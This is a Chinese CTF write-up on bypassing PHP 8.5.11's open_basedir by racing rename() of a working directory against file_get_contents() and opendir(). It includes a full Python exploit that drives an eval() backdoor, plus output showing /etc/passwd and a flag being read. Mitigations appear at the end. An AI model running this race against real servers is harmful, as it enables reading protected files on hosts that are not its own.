复现环境:PHP 8.5.11、Apache mod_php、open_basedir=/var/www/html。
题目背景
题目入口会显示自身源码,并通过以下代码执行 POST 参数中的 PHP 代码:
1 2
| highlight_file(__FILE__); @eval($_POST['Wl&come_to!Pctf_2025?']);
|
实例用 open_basedir 将 PHP 文件函数限制在 /var/www/html,实例同时禁用了 ini_set() 和 ini_alter()。chdir()、rename()、mkdir()、opendir()、file_get_contents() 仍可调用,而且 Web 进程能在站点目录下创建和移动目录。
绕过没有更改任何 ini 配置。核心是:让同一条相对路径在 open_basedir 检查时位于限制的目录内,在后续路径展开或打开时指向限制的目录外。
先在 /var/www/html 下创建以下结构:
1 2 3 4 5 6
| /var/www/html/ └── race_move/ ├── a/ │ ├── etc/ # 用于让检查阶段的父目录存在 │ └── b/c/d/e/x/ # 深位置 └── x/ # 浅位置;与上面的 x 轮流存在
|
请求 A 执行 chdir('race_move/a/b/c/d/e/x')。请求 B 则反复执行:
1 2
| rename('race_move/a/b/c/d/e/x', 'race_move/x'); rename('race_move/x', 'race_move/a/b/c/d/e/x');
|
这两个 x 是同一个目录,只是父目录在变化。请求 A 即使不再调用 chdir(),其当前工作目录也会随目录的移动而对应不同的绝对路径。测试中,getcwd() 确认了它会在深位置和浅位置之间变化。
现在看同一个相对路径:
1
| ../../../../../etc/passwd
|
| 请求 A 的当前目录 |
相对路径解析结果 |
open_basedir 判断 |
/var/www/html/race_move/a/b/c/d/e/x |
/var/www/html/race_move/a/etc/passwd |
在允许范围内 |
/var/www/html/race_move/x |
/etc/passwd |
在允许范围外 |
从深位置向上五层到达 a,从浅位置向上五层则到达文件系统根目录。a/etc 目录只是供检查阶段解析;无需在里面放置 passwd 文件。
在 PHP 8.5.11 的普通文件流实现中,文件打开入口先调用 php_check_open_basedir(path),随后进入 php_stream_fopen_rel(path, ...)。后者再次调用 expand_filepath(),然后使用展开后的路径调用 open()。因此,检查阶段和实际用于打开文件的路径展开阶段并不是一次不可分割的操作。参见 PHP 8.5.11 plain_wrapper.c 的检查与打开入口、再次展开路径并调用 open() 的代码。
本例所需的时序是:
1 2 3 4
| 请求 A:当前目录在深位置 请求 A:open_basedir 检查相对路径 → /var/www/html/race_move/a/etc/passwd,放行 请求 B:把 x 目录移动到浅位置 请求 A:再次展开同一相对路径 → /etc/passwd,并打开文件
|
目录枚举也有类似窗口:php_check_open_basedir(path) 之后才调用 VCWD_OPENDIR(path),见 同版本的目录打开代码。因此,同样可以先把 ../../../../../tmp 检查为站点内的 a/tmp,再让 opendir() 枚举真正的 /tmp。
这里的竞态不依赖 getcwd() 失败、超长路径、符号链接或修改 open_basedir。不过它依赖两个请求能并发运行、目录可以被移动,以及目标文件本身对 PHP 进程具有操作系统层面的读取权限。
下面的脚本对应这次测试的 POST 参数。读取 /etc/passwd 开头作为越界读取的验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from concurrent.futures import ThreadPoolExecutor
import requests
URL = "http://xxxx.pctf.top:22405/" KEY = "Wl&come_to!Pctf_2025?" DEEP = "race_move/a/b/c/d/e/x" SHALLOW = "race_move/x" STOP = "/var/www/html/race_move/stop"
def run(php, timeout=60): response = requests.post(URL, data={KEY: php}, timeout=timeout) response.raise_for_status() return response.text.split("</pre>", 1)[-1]
def reader(): return run( f"if(!chdir('{DEEP}')) die('CHDIR_FAILED');" "$p='../../../../../etc/passwd';" "for($i=0;$i<30000;$i++){" " $s=@file_get_contents($p);" " if($s!==false && str_starts_with($s,'root:')){" " echo 'GOT:',substr($s,0,80),' ITER:',$i;" f" file_put_contents('{STOP}','1');" " break;" " }" "}" "echo ' DONE:',$i;" )
def mover(): return run( f"for($i=0;$i<30000;$i++){{" f" rename('{DEEP}','{SHALLOW}');" f" rename('{SHALLOW}','{DEEP}');" " if(file_exists('race_move/stop')) break;" "}" "echo ' MOVED:',$i;" )
run( f"if(is_dir('{SHALLOW}')) rename('{SHALLOW}','{DEEP}');" f"if(!is_dir('{DEEP}')) mkdir('{DEEP}',0777,true);" "if(!is_dir('race_move/a/etc')) mkdir('race_move/a/etc');" "@unlink('race_move/stop');" )
try: with ThreadPoolExecutor(max_workers=2) as pool: read_future = pool.submit(reader) move_future = pool.submit(mover) print("reader:", read_future.result()) print("mover:", move_future.result()) finally: print("cleanup:", run( f"if(is_dir('{SHALLOW}')) rename('{SHALLOW}','{DEEP}');" "@unlink('race_move/stop');" "@rmdir('race_move/a/etc');" f"@rmdir('{DEEP}');" "@rmdir('race_move/a/b/c/d/e');" "@rmdir('race_move/a/b/c/d');" "@rmdir('race_move/a/b/c');" "@rmdir('race_move/a/b');" "@rmdir('race_move/a');" "@rmdir('race_move');" "echo is_dir('race_move')?'REMAINS':'CLEAN';" ))
|
先用同样的竞态读到了 /etc/passwd,返回内容以 root:x:0:0 开头。随后创建 /var/www/html/race_move/a/tmp 作为检查阶段的目录,将读取端换成 opendir('../../../../../tmp'),并保持另一请求继续来回移动 x。命中时,目录枚举返回了:
1
| [".", "..", "tmp.7rnR2oBSTj"]
|
再将读取端换成 file_get_contents('../../../../../tmp/tmp.7rnR2oBSTj'),得到:
1
| GOT:"flag{GZCTF_dynamic_flag_test}\n" ITER:154
|
PHP 官方的 #21961 报告 同样使用 rename() 改变当前目录路径,但其 PoC 借助超长路径令 getcwd() 失败,再利用 ini_set() 修改 open_basedir。本例的配置保持不变,触发点是普通文件流在检查后再次解析相对路径。
更早的 CVE-2006-5178 也记录了 open_basedir 检查与文件打开之间改变路径的竞态,但使用的是符号链接。
缓解建议
对于这个 CTF 实例,禁用 rename() 或阻止 PHP 进程移动测试目录,可以切断上述 PoC;禁用 chdir() 也能切断它对可移动工作目录的依赖。更稳妥的是让 Web 进程不能重命名作为路径锚点的目录,并让敏感文件在操作系统权限层面对 Web 进程不可读。单纯追加函数黑名单只能处理已知利用链。
PHP 官方手册也明确将 open_basedir 定位为额外防护,而不是可独立依赖的安全边界。对真正需要隔离的数据,应使用独立用户、文件权限和容器等操作系统层面的约束。
Written by lzz0403
A New player. Keep learning!